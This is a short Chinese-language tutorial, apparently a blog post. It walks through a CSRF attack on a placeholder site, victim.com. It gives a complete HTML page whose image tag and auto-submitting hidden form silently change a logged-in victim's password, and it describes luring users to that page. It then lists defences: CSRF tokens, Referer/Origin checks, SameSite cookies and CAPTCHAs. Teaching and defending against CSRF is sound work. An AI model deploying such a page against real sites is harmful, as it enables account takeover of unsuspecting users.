网络安全:发起一次CSRF攻击!

一、如何发起一次CSRF攻击

1、目标网站信息:

复制代码
接口地址:https://victim.com/change-password
请求类型:get/post
接受参数:password

2、编写一个网页

html 复制代码
<!DOCTYPE html>
<html>
	<body>
		<!-- GET类型的CSRF -->
		<img src="https://victim.com/change-password?password=vme50">
		<!-- POST类型的CSRF -->
		 <form action="https://victim.com/change-password" method=POST>
		    <input type="hidden" name="password" value="vme50" />
		</form>
		<script> document.forms[0].submit(); </script> 
	</body>
</html>

3、诱导用户打开我们的网页

用户在已经登录了https://victim.com这个网站的情况下打开我们的网站,代码会自动发起网络请求,将受害者的账号密码修改为我们设置的值

二、防护策略

1、使用 CSRF Token(推荐):

在每个表单提交或敏感操作中包含一个随机生成的 CSRF Token,并将其与用户的会话关联起来。

服务器在接收到请求时验证 CSRF Token 的有效性,如果不匹配,则拒绝请求。

这样可以防止攻击者伪造请求,因为攻击者无法获取有效的 CSRF Token。

2、同源检测:

① 验证请求头:在服务器端验证请求头中的 Referer 字段或 Origin 字段,确保请求来自合法的源

② 验证域名:在服务器端对请求进行同源检测,只接受来自同一域名下的请求

③ 对在本域发起的攻击无效

将敏感的 Cookie 设置为 SameSite 属性为 Strict 或 Lax,限制其在跨站点请求中的发送,从而减少 CSRF 攻击的风险。

4、二次确认

① 验证码:对于敏感操作,可以要求用户输入验证码进行验证,以确保请求是由真实用户发起的

相关推荐
快降重2 小时前
不只是降重:实测“快降重”对论文逻辑结构与连贯性的提升作用
人工智能·安全·ai写作·降重·降ai
德迅--文琪4 小时前
网站如何防止被篡改?
安全
运筹vivo@4 小时前
攻防世界: catcat-new
前端·web安全·php
小李独爱秋5 小时前
计算机网络经典问题透视:试比较先进先出排队(FIFO)、公平排队(FQ)和加权公平排队(WFQ)的优缺点
服务器·计算机网络·算法·web安全·信息与通信·队列
骥龙5 小时前
2.4上、固件安全分析与漏洞挖掘:从提取到逆向的完整实战指南
网络·物联网·安全
久违 °5 小时前
【安全开发】Nmap端口发现技术详解(一)
安全·网络安全
运筹vivo@5 小时前
攻防世界: ics-05
前端·web安全·php
MicroTech20256 小时前
微算法科技(NASDAQ :MLGO)开发基于QML的入侵检测识别系统(QML-IDS),强化网络安全防护
科技·算法·web安全
信创天地6 小时前
信创日志全流程管控:ELK国产化版本与华为日志服务实战应用
运维·安全·elk·华为·rabbitmq·dubbo
@大迁世界6 小时前
停止使用 innerHTML:3 种安全渲染 HTML 的替代方案
开发语言·前端·javascript·安全·html